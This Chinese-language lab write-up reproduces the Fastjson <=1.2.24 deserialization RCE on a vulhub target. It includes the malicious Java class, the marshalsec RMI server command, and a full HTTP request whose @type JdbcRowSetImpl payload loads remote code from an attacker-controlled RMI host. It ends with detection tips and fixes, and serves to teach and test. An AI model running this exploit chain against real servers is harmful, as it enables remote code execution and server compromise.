fastjson反序列化漏洞
适用版本
<=1.2.24 rce cnvd-2017-02833
<=1.2.47 rce cnvd-2019-22238
还有其他版本的
漏洞原理
漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
攻击流程:制作反弹Payload -> 开启HTTP服务 -> 启动LDAP服务 -> 监听EXP中端口 -> 执行Payload
JSON.parseObject()返回实际类型对象
User user1T = JSON.parseObject(serializedStr, User.class);
JSON.parse()返回JsonObject对象
Object obj1 =JSON.parse(serializedStr);
在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。
先在centos7里面下载靶场
更换源
yum install -y wget
cd /etc/yum.repos.d/
mv CentOS-Base.repo CentOS-Base.repo.back
wget -O CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
cat CentOS-Base.repo
yum clean all
yum makecache
下载靶场
yum -y install git 下载git
cd var/local/
mkdir soft
cd soft
git clone https://github.com/vulhub/vulhub.git
运行靶场环境
cd fastjson
ls
cd 1.2.24-rce/
docker-compose build
docker-compose up -d
ifconfig 查看ip
靶场成功运行
kali 设置python版本
配置:
update-alernatives --install /user/bin/python
python /user/bin/python2 100
update-alernatives --install /user/bin/python
python /user/bin/python3 150
切换版本
update-alternatives --config python
java1.8环境和mvn环境搭建
Kali安装JDK 1.8的详细过程
kali安装maven
此次攻击需要java1.8版本和mvn
需要下载并且配置环境
下载marshalsec工具
下载marshalsec
也可以直接用git下载
git clone https://gitcode.net/mirrors/mbechler/marshalsec.git
攻击步骤(kali)
编写恶意代码TouchFile
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success111111111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将这段代码放到kali桌面并在终端编译成javac文件
javac TouchFile.java
kali中开一个终端 ,使用python http服务并使用4444端口
可以从网页访问到桌面上的.class文件
python3 -m http.server 4444 #python3
重开一个终端,
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
source /etc/profile
cd marshalsec/
mvn clean package -DskipTests
成功以后会在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar文件
先进入target文件
然后运行
cd target
ls
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.128:4444/#TouchFile" 9999
此处ip为刚才通过python3开启的4444端口,相当于一个指针指向ip:4444端口下的.class 文件
然后通过burp进行放包,此处可自己抓包构造也可以用我这的,
用我这的需要自行改上面的访问ip和下面的9999端口ip
POST / HTTP/1.1
Host: 192.168.5.130:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control:max-age=0
Content-Type: application/json
Content-Length: 169
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.5.128:9999/TouchFile",
"autoCommit":true
}
}
放包后在kali中出现200状态值为成功
从靶机的docker中验证是否成功
docker ps
docker exec -it 2549290fcecf /bin/bash
cd tmp
ls
成功
漏洞挖掘思路
1、找到发送JSON序列化数据的接口
2、判断是否使用fastjon
1)非法格式报错
{“x”:"
2)使用dnslog探测
{“x”:{“@type”:“java.net.Inet4Address”,“val”:“xxx.dnslog.cn”}}
Burp 插件
https://github.com/zilong3033/fastjsonScan
漏洞修复
1、升级JDK 6u211 / 7u201 / 8u191 /11.0.1
2、升级Fastjson到最新版
fastjson.parser.safeMode=true
3、使用安全产品过滤非法内容
4、更换其它序列化工具 Jackson/Gson